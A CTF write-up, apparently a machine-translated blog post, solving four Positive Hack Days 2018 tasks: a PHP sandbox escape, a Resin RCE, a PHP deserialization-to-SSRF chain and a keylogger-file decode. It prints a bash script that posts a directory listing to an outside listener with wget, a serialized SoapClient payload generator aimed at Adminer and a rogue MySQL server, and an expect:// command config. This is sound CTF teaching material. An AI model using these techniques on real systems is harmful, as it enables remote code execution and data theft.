Positive Hack Days CTF 2018 task raiting: mnogorock, sincity, wowsuchchain, event0
mnogorock
An interesting PHP sandbox, the final solution of which in my opinion was easier to pick up on the ball, because it is very simple. But in order to come to him, it was necessary to figure out what was happening. I came to a decision by making a big hook. I also did not immediately guess google mongo rock, although the permutation of the letters was obvious =)
Initially, we were given a URL that returns a small hint on what to do next.

We collect the POST request.

We see the result of the inform () command. The first thing that comes to mind is an injection into the command, we try to insert quotes, backslashes, parameters in the inform inform, we study the behavior:


We see some kind of error ... But if we add another letter,

then the php tag closes at the end , that is, by injection we are where close the line.
Googling what a capsule (T_ENCAPSED_AND_WHITESPACE) - we understand that these are lexical PHP tokens. This suggests that we have PHP sandbox, where before the execution of the code there is a tokenization of the input. At the same time, part of the tokens is prohibited for use. And since this is sandbox, the injection is most likely the wrong vector.
Now let's try to write valid queries that will be skipped. For example, this:

we see that in this case the output occurred twice, we also see that the T_CONSTANT_ENCAPSED_STRING token (a string in quotation marks) is allowed, this turned out to be critical.
In general, here it would be possible to solve everything already if I knew that php allows you to do SUCH things =) But I did not know. So then I took a complete list of PHP tokens ( here) and drove them to Intruder to understand which are allowed. Then I decided to google "mongo rock" and found the sandbox code that was used for the task. Needless to Tasca it slightly changed, but does not hurt to read the logic (the same time to compare the actual code with the pseudo-code in my head that I was studying the behavior of the program blekboksom)
github.com/iwind/rockmongo/blob/939017a6b4d0b6eb488288d362ed07744e3163d3/app/classes/VarEval .php
We look at a function that performs tokenization before the code's eval
privatefunction_runPHP(){
$this->_source = "return " . $this->_source . ";";
if (function_exists("token_get_all")) {//tokenizer extension may be disabled
$php = "<?php\n" . $this->_source . "\n?>";
$tokens = token_get_all($php);
the $ php variable is a string concat, hence the line break and closing tag in the example above, when we inserted inform () '' A. Next are 2 checks, the first checks that the token includes a list of allowed:
if (in_array($type, array(
T_OPEN_TAG,
T_RETURN,
T_WHITESPACE,
and the second - that T_STRING tokens have valid values:
if ($type == T_STRING) {
$func = strtolower($token[1]);
if (in_array($func, array(
//keywords allowed"mongoid”,
….
T_STRING tokens are the keywords of the language, probably only the inform () function was in this list. And then, if the conditions have passed, the eval () of the code occurs. That is, to call some function, passing it as a T_STRING token will not work.
In total, we know that it is allowed to call functions (but only one, inform), and quoted strings are also skipped. Then I remembered the tricks from JS and tried to pass like this:

Here is the solution. It remains only to find the flag that was in the file with a random name in root (/). As I wrote at the beginning, the solution is very simple, but without knowing the intricacies of PHP I had to tinker. The truth is not so much further ...
sincity
Initially, the URL is given as usual, we open it, we see a picture of some city, there are no buttons, so immediately look at the html code of the page.

We draw attention to some strange array ... Let's try to open a nonexistent page

And here you can see the name of a very interesting server. Prior to this task, I did not even know about the existence of this. All his fichah I have not read the most interesting thing that is necessary for Tasca - resin can integrate PHP and Java code (to which can bring Legacy)
Generally nothing else on the home page is not visible, so the run dirsearch, or who love it and see that still lying on the server.

We find and try to open the / dev / directory, and see Basic HTTP authentication.

This is the first part of the task - getting around Basic HTTP Auth. The idea of a workaround is to make sure that on nginx the directory does not fall into the / dev / regular mode, which is located under basic auth, but at the same time that the backend parses the URL path like / dev /. I loaded the full list of URL codes in Intruder, although I could immediately guess:

Having sorted all 256 bytes in the place of §param§, we find that with% 5c (backslash) the answer is different from the original one, that is, we fail in / dev /. Here is the source code of the page in / dev /:

Remember the same array on the first page. This is like a list of files in the current directory.
- task.php ~~~ edited is the source of task.php, which you forgot to close the type in the editor, and it is given to the browser with plain text.
- task.php - a script that can be run on a web server.
We look at the task.php code:
<?php
error_reporting(0);
if(md5($_COOKIE['developer_testing_mode'])=='0e313373133731337313373133731337')
{
if(strlen($_GET['constr'])===4){
$c = new $_GET['constr']($_GET['arg']);
$c->$_GET['param'][0]()->$_GET['param'][1]($_GET['test']);
}else{
die('Swimming in the pool after using a bottle of vodka');
}
}
?>The first condition is to pass such a developer_testing_mode cookie so that md5 from it is equal to '0e313373133731337313373133731337'.
I knew this thing, so I went quickly. This is a standard PHP error with weak comparisons. I recommend to look here .
In the end, in PHP, a comparison with 2 equal signs (==) considers true “0e12345” = “0e54321”. That is, all that is needed to bypass is to find the value, md5 from which will begin with the byte \ x0e. This can be easily google.
The second condition in the code is that if there is a certain parameter constr of length 4 bytes, then the following will be executed:
$c = new $_GET['constr']($_GET['arg']);it's just creating a class object, if you write more simply, it will be something like this:
$ c = new Class (parameter) , where we control the name of the class and its parameter.
second line
$c->$_GET['param'][0]()->$_GET['param'][1]($_GET['test']); if you rewrite it more simply, then:
$ c-> method1 () -> method2 (parameter2) - here we control the names of the methods and the parameter of the 2nd method.
Obviously, this is RCE and all that remains is to find the appropriate class names. We recall that Resin - integrates PHP and Java code (I didn’t remember right away, and at first I started digging towards Phar).
The solution to this task actually lies in the Resin documentation :

Payload for RCE looks like this:

There will be no output from the team, so we make a conclusion through the out-of-band technique. We raise the listener on the Internet for our requests, and run on the server a command that sends the necessary information to our listener, with the payload above it will look something like this:

Because we don’t know the name of the file with the flag; we need to do a directory listing. The Runtime class method - exec () can take a string and an array as input. How full bash works only in case of an array. Then how can we pass only a string. Therefore, we make a simple bash script:
#!/bin/bash
ls -l > /tmp/adweifmwgfmlkerhbetlbm
ls -l / >> /tmp/adweifmwgfmlkerhbetlbm
wget --post-file=/tmp/adweifmwgfmlkerhbetlbm http://w4x.su:14501/the first request we upload it to the server using wget -O / tmp / pwn .... , the second request - run. We host a list of directories in the root on the listener, and then we read the flag.
wowsuchchain
The most interesting of the four. Task calls it because it has a very long chain of bugs. I probably solved it for about 2 days and passed almost at the last moment on the way home deciding from the train =) A
useful article that helps to solve this task (about serialization and magic methods).
In the condition, the URL is given, open, we see a certain logger of HTTP requests:

After playing a little with the parameters and not getting any of this, run dirsearch:

adminer.php is an open source tool for administering the database. Google immediately gives out SSRF vulnerability and even a split, although we don’t really need the latter.
Having opened the page with adminer we see the message:

where we are told that access is allowed only from internal resources. We pay attention to the gateway of the local network, it is a small hint what address the host with Adminer can have.
index.php.bak - we were given the source for the solution.
index.php.bak source:
<?php
session_start();
classMetaInfo{
functionget_SC(){
return $_SERVER['SCRIPT_NAME'];
}
functionget_CT(){
date_default_timezone_set('UTC');
return date('Y-m-d H:i:s');
}
functionget_UA(){
return $_SERVER['HTTP_USER_AGENT'];
}
functionget_IP(){
$client = @$_SERVER['HTTP_CLIENT_IP'];
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$remote = $_SERVER['REMOTE_ADDR'];
if(filter_var($client, FILTER_VALIDATE_IP)){
$ip = $client;
}elseif(filter_var($forward, FILTER_VALIDATE_IP)){
$ip = $forward;
}else{
$ip = $remote;
}
return $ip;
}
}
classLogger{
private $userdata;
private $serverdata;
public $ip;
function__construct(){
if (!isset($_COOKIE['userdata'])){
$this->userdata = new MetaInfo();
$ip = $this->userdata->get_IP();
$useragent = htmlspecialchars($this->userdata->get_UA());
$serialized = serialize(array($ip,$useragent));
$key = getenv('KEY');
$nonce = md5(time());
$uniq_sig = hash_hmac('md5', $nonce, $key);
$crypto_arrow = $this->ahalai($serialized,$uniq_sig);
setcookie("nonce",$nonce);
setcookie("hmac",$crypto_arrow);
setcookie("userdata",base64_encode($serialized));
header("Location: /");
}
if (!file_exists('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt')) {
fopen('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt','w');
}
}
functionclear(){
if(file_put_contents('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt',"\n"))
return"Log file cleaned!";
}
functionshow(){
$data = file_get_contents('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt');
return $data;
}
functionahalai($serialized,$uniq_sig){
$magic = $this->mahalai($serialized,$uniq_sig);
return $magic;
}
functionmahalai($serialized, $uniq_sig){
return hash_hmac('md5', $serialized,$uniq_sig);
}
function__destruct(){
if(isset($_COOKIE['userdata'])){
$serialized = base64_decode($_COOKIE['userdata']);
$key = getenv('KEY');
$nonce = $_COOKIE['nonce'];
$uniq_sig = hash_hmac('md5', $nonce, $key);
$crypto_arrow = $this->ahalai($serialized,$uniq_sig);
if($crypto_arrow!==$_COOKIE["hmac"]){
exit;
}
$this->userdata = unserialize($serialized);
$ip = $this->userdata[0];
$useragent = $this->userdata[1];
if(!isset($this->serverdata))
$this->serverdata = new MetaInfo();
$current_time = $this->serverdata->get_CT();
$script = $this->serverdata->get_SC();
return file_put_contents('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt', $current_time." - ".$ip." - ".$script." - ".htmlspecialchars($useragent)."\n", FILE_APPEND);
}
}
}
$a = new Logger();
?>
<center>
<pre>
<a href="/">index</a> | <a href="/?act=show">show log</a> | <a href="/?act=clear">clear log</a>
-----------------------------------------------------------------------------
<?switch ($_GET['act']) {
case'clear':
echo $a->clear();
break;
case'show':
echo $a->show();
break;
default:
echo"This is index page.";
break;
}
?>
</pre></center>We study the code. The script creates the Logger class, and then returns the results of the show and clear methods , depending on the request. Places with serialization and signatures are immediately apparent. All the most interesting is in the constructor and destructor.
In __construct ()Some user data is generated and signed using the HMAC algorithm. The secret key is stored in an environment variable. After the signature, the data and the signature itself are given to the user. This is an emulation of the user-side session data storage approach. For example, Apache Tapestry does this, and it seems I have come across this approach somewhere else in ASP frameworks. When using HMAC, changing the data and bypassing the signature will fail. It looks safe, so go to __destructor ()
Because I didn’t immediately see a bug in signing verification in __destruct () , I started to solve the task from the “middle” by running the script locally and commenting out a part of the code with signing verification. And he returned to the signature bypass at the end. But here everything will be in order =)
$serialized = base64_decode($_COOKIE['userdata']);
$key = getenv('KEY');
$nonce = $_COOKIE['nonce'];
$uniq_sig = hash_hmac('md5', $nonce, $key);
$crypto_arrow = $this->ahalai($serialized,$uniq_sig);
The first thing you need to pay attention to is that we control the nonce variable , which without any filtering is passed to the hash_mac function (PHP built-in function). After that, uniq_sig is passed to the ahalai method , which inside is equivalent to the same hash_hmac . Due to the lack of filtering of the nonce variable , an error occurs when our serialized payload can be signed not with a secret server key, but with an empty string. To understand what is happening, I sketched a short PoC:
<?php
$nonce = array('1','2','3','100500');
$uniq_sig1 = hash_hmac('md5', $nonce, "SUPASECRET");
$crypto_arrow1 = hash_hmac('md5',"ANYDATA",$uniq_sig1);
echo"Singature with supasecret: $crypto_arrow1\n";
$uniq_sig2 = hash_hmac('md5', $nonce, "ANOTHER_SUPA_SECRET");
$crypto_arrow2 = hash_hmac('md5',"ANYDATA",$uniq_sig2);
echo"Singature with anothersupasecret: $crypto_arrow2\n";
$crypto_arrow3 = hash_hmac('md5',"ANYDATA","");
echo"Signature with empty string as KEY: $crypto_arrow3\n";
?>HMAC in all 3 variants will be the same. That is, if any array is signed with any key, the result will be an empty string. And since the final signature is considered taking the previous signature as an input, we get hash_hmac ("ANYDATA", "") . So we can calculate it before sending the request.
Total: to bypass the signature, you need to pass nonce as an array, and the data transmitted to userdata must be pre-signed with an empty string, and the signature passed in the hmac cookie .
The next step is to understand how to promote deserialization in order to get something useful. We know that adminer has an SSRF vulnerability, which means that in combination with rogue_mysql_serverwe can get local reading of files. But Adminer is available only to internal resources. So the final vector should look something like this: SSRF in index.php -> SSRF in adminer.php -> rogue_mysql_server-> local file reading (plus there were hints from the organizers about expect and that there is only nginx + php on the server. The latter is to understand what needs to be exploited through rogue_mysq_server, expect is apparently a very rare wrapper that its presence is not always checked. And the file name with the flag without RCE cannot be found).
We untwist SSRF on index.php. Pay attention to the following code section:
$this->userdata = unserialize($serialized);
$ip = $this->userdata[0];
$useragent = $this->userdata[1];
if(!isset($this->serverdata))
$this->serverdata = new MetaInfo();
$current_time = $this->serverdata->get_CT();
$script = $this->serverdata->get_SC();
There are several tricks here. The first trick is if the object is deserialized, __destruct () of this object will be called (read the article on Rdot.org). The second trick - we do deserialization already in the destructor. What happens if we try to deserialize an object of the same Logger class? That is, during deserialization, the destructor of the same class is called again! In general, I thought that an endless cycle would happen and there would be DOS. But it turned out that PHP handles this situation correctly. And the third trick, if we slip the object into the private variable serverdata during deserialization , then the serverdata-> get_CT () method will be called further along the code. This is where the magic __call () method comes to the rescue , which is called if a class method does not exist.
For the keywords “php class __call ssrf” you can quickly google the download from another CTF, where you can find a suitable PHP class SoapClient and that __call () triggers a soap request. We create SoapClient so that it makes a request to adminer.php with the necessary parameters. For some reason, I installed the adminer myself, and began to study what is there. You could not do this. The final code for generating payloads came out like this:
<?phpclassLogger{
private $userdata;
private $serverdata;
public $ip;
function__construct($iter){
$this->serverdata = new SoapClient(null, array(
'location' => "http://172.17.0.$iter/adminer.php?server=188.226.212.13:3306&username=mfocuz1&password=1337pass&status=",
'uri' => "http://172.17.0.$iter",
'trace' => 1,
));
}
}
for($i=0;$i<=255;$i++) {
$payload=serialize(array("127.0.0.1",new Logger($i)));
file_put_contents("/tmp/payloads",base64_encode($payload)."\n",FILE_APPEND);
file_put_contents("/tmp/signatures",hash_hmac('md5', $payload,"")."\n",FILE_APPEND);
}
?>In the end, we create the same Logger class with the same data as the original in index.php . But in the constructor, we assign the internal private variable serverdata - an object of the SoapClient class . The SoapClient object already points to an internal adminer resource with parameters for connecting to our server with rogue_mysql_server . The loop over the $ iter variable is needed in order to find the local adminer server IP. The request through localhost was blocked. In general, he had IP = 172.17.0.3, but I tried one and then launched Intruder =) Pitchfork mode, the first parameter is a file with signatures, the second one is with payloads.

To receive the connection on our server somewhere on the Internet, we start mysq_rogue_server, I took it from here . We start with this configuration:
filelist = (
#'/flag_s0m3_r4nd0m_f1l3n4m3.txt', // это путь к флагу, первый раз мы его не знаем'expect://ls > /tmp/mfocuz_tmp01',
'/tmp/mfocuz_tmp01',
)
We cannot give the output from expect to the rogue server, so we redirect the output to a file, and read the file with the second command.
We start Intruder, see which IP works:

In the rogue server log we find this: It remains to send another request, but in the Rogue server enter the path to the flag. Final query from Repeater:
2018-05-01 14:01:28,499:INFO:Result: '\x02bin\nboot\ncode\ndev\netc\nflag_s0m3_r4nd0m_f1l3n4m3.txt\nhome\nlib\nlib64\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n'

event0
This is probably the easiest task that has been proposed at CTF. The hardest part was to understand what kind of file it was. Complicated - because almost all the links in Google pointed to the computer game event [0]. At the same time I read what kind of game and even decided to go through. In general, from all this noise about event [0], it was necessary to find information about Linux devices. In particular, about linux USB keyboard. That is, event0 file is the result of the keylogger. And then everything was very easy to google and you could find an almost ready-made solution for task here . And at the same time open the documentation for Python evdev library. I took the script from the link above and replaced reading from the device with reading from the file. My final script looked like this:
#!/usr/bin/python import pdb
import struct
import sys
import evdev
from evdev import InputDevice, list_devices, ecodes, categorize, InputEvent
CODE_MAP_CHAR = {
'KEY_MINUS': "-",
'KEY_SPACE': " ",
'KEY_U': "U",
'KEY_W': "W",
'KEY_BACKSLASH': "\\",
'KEY_GRAVE': "`",
'KEY_NUMERIC_STAR': "*",
'KEY_NUMERIC_3': "3",
'KEY_NUMERIC_2': "2",
'KEY_NUMERIC_5': "5",
'KEY_NUMERIC_4': "4",
'KEY_NUMERIC_7': "7",
'KEY_NUMERIC_6': "6",
'KEY_NUMERIC_9': "9",
'KEY_NUMERIC_8': "8",
'KEY_NUMERIC_1': "1",
'KEY_NUMERIC_0': "0",
'KEY_E': "E",
'KEY_D': "D",
'KEY_G': "G",
'KEY_F': "F",
'KEY_A': "A",
'KEY_C': "C",
'KEY_B': "B",
'KEY_M': "M",
'KEY_L': "L",
'KEY_O': "O",
'KEY_N': "N",
'KEY_I': "I",
'KEY_H': "H",
'KEY_K': "K",
'KEY_J': "J",
'KEY_Q': "Q",
'KEY_P': "P",
'KEY_S': "S",
'KEY_X': "X",
'KEY_Z': "Z",
'KEY_KP4': "4",
'KEY_KP5': "5",
'KEY_KP6': "6",
'KEY_KP7': "7",
'KEY_KP0': "0",
'KEY_KP1': "1",
'KEY_KP2': "2",
'KEY_KP3': "3",
'KEY_KP8': "8",
'KEY_KP9': "9",
'KEY_5': "5",
'KEY_4': "4",
'KEY_7': "7",
'KEY_6': "6",
'KEY_1': "1",
'KEY_0': "0",
'KEY_3': "3",
'KEY_2': "2",
'KEY_9': "9",
'KEY_8': "8",
'KEY_LEFTBRACE': "[",
'KEY_RIGHTBRACE': "]",
'KEY_COMMA': ",",
'KEY_EQUAL': "=",
'KEY_SEMICOLON': ";",
'KEY_APOSTROPHE': "'",
'KEY_T': "T",
'KEY_V': "V",
'KEY_R': "R",
'KEY_Y': "Y",
'KEY_TAB': "\t",
'KEY_DOT': ".",
'KEY_SLASH': "/",
}
defparse_key_to_char(val):return CODE_MAP_CHAR[val] if val in CODE_MAP_CHAR else""if __name__ == "__main__":
# pdb.set_trace()
f=open('/home/w4x/ctf/phd2018/event0',"rb")
events=[]
e=f.read(24)
events.append(e)
while e != "":
e=f.read(24)
events.append(e)
for e in events:
eBytes = a=struct.unpack("HHHHHHHHHHi",e)
event = InputEvent(eBytes[6],eBytes[7],eBytes[8],eBytes[9],eBytes[10])
if event.type == ecodes.EV_KEY:
print evdev.categorize(event)
The first lines of the script output: down-up is the down-up key presses. We immediately see that the vim key.txt command is launched . Vim is a popular text editor that has two modes of operation, text editing and command mode. Therefore, not all letters in the log were real text. To solve it, you just had to click all the same keys and get a flag on the output.
key event at 0.000000, 28 (KEY_ENTER), up
key event at 0.000000, 47 (KEY_V), down
key event at 0.000000, 47 (KEY_V), up
key event at 0.000000, 23 (KEY_I), down
key event at 0.000000, 23 (KEY_I), up
key event at 0.000000, 50 (KEY_M), down
key event at 0.000000, 50 (KEY_M), up
key event at 0.000000, 57 (KEY_SPACE), down
key event at 0.000000, 57 (KEY_SPACE), up
key event at 0.000000, 37 (KEY_K), down
key event at 0.000000, 37 (KEY_K), up
key event at 0.000000, 18 (KEY_E), down
key event at 0.000000, 18 (KEY_E), up
key event at 0.000000, 21 (KEY_Y), down
key event at 0.000000, 21 (KEY_Y), up
key event at 0.000000, 52 (KEY_DOT), down
key event at 0.000000, 52 (KEY_DOT), up
key event at 0.000000, 20 (KEY_T), down
key event at 0.000000, 20 (KEY_T), up
key event at 0.000000, 45 (KEY_X), down
key event at 0.000000, 45 (KEY_X), up
key event at 0.000000, 20 (KEY_T), down
key event at 0.000000, 20 (KEY_T), up